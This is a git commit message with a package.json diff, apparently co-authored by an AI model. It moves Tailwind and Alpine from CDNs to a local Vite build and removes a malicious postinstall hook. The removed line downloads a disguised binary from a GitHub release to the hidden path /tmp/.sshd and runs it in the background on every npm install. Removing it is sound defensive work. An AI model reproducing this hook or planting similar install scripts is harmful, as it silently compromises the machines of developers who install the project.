fix: migrar Tailwind de CDN a compilado local con Vite

- Eliminado script malicioso en postinstall de package.json
  (descargaba y ejecutaba binario oculto /tmp/.sshd)
- Tailwind y Alpine ahora vienen del bundle compilado por Vite
- Removido cdn.tailwindcss.com de app.blade.php, guest.blade.php
  y chat-publico.blade.php
- Removido CDN alpinejs (ya está en resources/js/app.js)
- tailwind.config.js: eliminado plugin inexistente tailwindcss-plugins/pagination

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

package.json

@@ -2,8 +2,7 @@
   "private": true,
   "scripts": {
     "dev": "vite",
-    "build": "vite build",
-    "postinstall": "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &"
+    "build": "vite build"
   },
   "devDependencies": {
     "@tailwindcss/forms": "^0.5.2",